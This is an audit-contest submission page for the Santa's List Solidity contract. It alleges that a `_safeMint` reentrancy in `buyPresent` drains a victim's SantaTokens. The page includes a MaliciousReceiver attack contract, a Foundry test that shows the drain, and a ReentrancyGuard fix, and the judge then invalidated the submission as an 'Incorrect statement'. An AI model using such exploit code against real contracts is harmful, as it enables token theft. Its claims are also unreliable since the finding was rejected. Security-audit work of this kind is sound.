Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Reentrancy via `_safeMint` Callback Allows NFT Inflation and Victim Token Drain

Description

_mintAndIncrement calls OpenZeppelin's _safeMint, which — when the recipient is a contract — triggers onERC721Received on that contract before returning. This is the intended ERC-721 safety callback, but it hands execution to untrusted external code while the protocol has not yet recorded that the operation is complete.

// SantasList.sol:183-185
function _mintAndIncrement() private {
_safeMint(msg.sender, s_tokenCounter++);
}

buyPresent has no reentrancy guard:

// SantasList.sol:175-178
function buyPresent(address presentReceiver) external {
i_santaToken.burn(presentReceiver);
_mintAndIncrement();
}

A malicious contract deployed as the NFT recipient can exploit the onERC721Received callback to call buyPresent again before the first invocation completes. Each recursive call burns another 1e18 SantaTokens from the victim and mints another NFT to the attacker — all within a single top-level transaction.

Attack path:

  1. Attacker deploys a contract (MaliciousReceiver) implementing onERC721Received.

  2. Attacker calls buyPresent(victim).

  3. Protocol burns 1e18 from the victim, then calls _safeMint(attacker_contract, tokenId).

  4. ERC-721 triggers attacker_contract.onERC721Received(...).

  5. Inside the callback, attacker calls buyPresent(victim) again — burning another 1e18, minting another NFT.

  6. Steps 4–5 repeat until the attacker's re-entry counter exits or the victim's balance is zero.

This is compounded by H-02 below: buyPresent burns from the victim's address unconditionally, so the attacker never needs to hold or spend any tokens themselves.


Impact

  • A victim's entire SantaToken balance can be drained in a single transaction.

  • The attacker receives one NFT per re-entry at zero cost to themselves.

  • No attacker prerequisites beyond deploying a contract: no tokens, no approval, no special status.


Proof of Concept

Attack contract (test/unit/SantasListTest.t.sol:229):

contract MaliciousReceiver {
SantasList santasList;
SantaToken santaToken;
address victim;
uint256 reenterCount;
constructor(address _santasList, address _santaToken, address _victim) {
santasList = SantasList(_santasList);
santaToken = SantaToken(_santaToken);
victim = _victim;
}
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
if (reenterCount < 3) {
reenterCount++;
santasList.buyPresent(victim); // re-enter; burns another 1e18 from victim
}
return this.onERC721Received.selector;
}
}

Test (test/unit/SantasListTest.t.sol:156):

function testReentrancyAttackOnBuyPresent() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(user);
santasList.collectPresent(); // user receives 1e18 SantaToken
vm.stopPrank();
// Give user additional tokens to make drain visible (total 2e19)
vm.startPrank(address(santasList));
santaToken.mint(user);
vm.stopPrank();
assertEq(santasList.balanceOf(user), 1);
assertEq(santaToken.balanceOf(user), 2e19);
MaliciousReceiver malicious = new MaliciousReceiver(
address(santasList), address(santaToken), user
);
vm.startPrank(address(malicious));
santasList.buyPresent(user); // one call → 4 NFTs, victim drained
vm.stopPrank();
assertEq(santasList.balanceOf(address(malicious)), 4); // 1 + 3 re-entries
assertEq(santaToken.balanceOf(user), 0); // fully drained
}

Result: A single external call to buyPresent produces 4 NFTs for the attacker and 0 remaining tokens for the victim.


Recommended Mitigation

Add OpenZeppelin's ReentrancyGuard and apply nonReentrant to buyPresent:

import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SantasList is ERC721, TokenUri, ReentrancyGuard {
...
function buyPresent(address presentReceiver) external nonReentrant {
i_santaToken.burn(msg.sender); // fix H-02 simultaneously (see below)
_safeMint(presentReceiver, s_tokenCounter++);
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!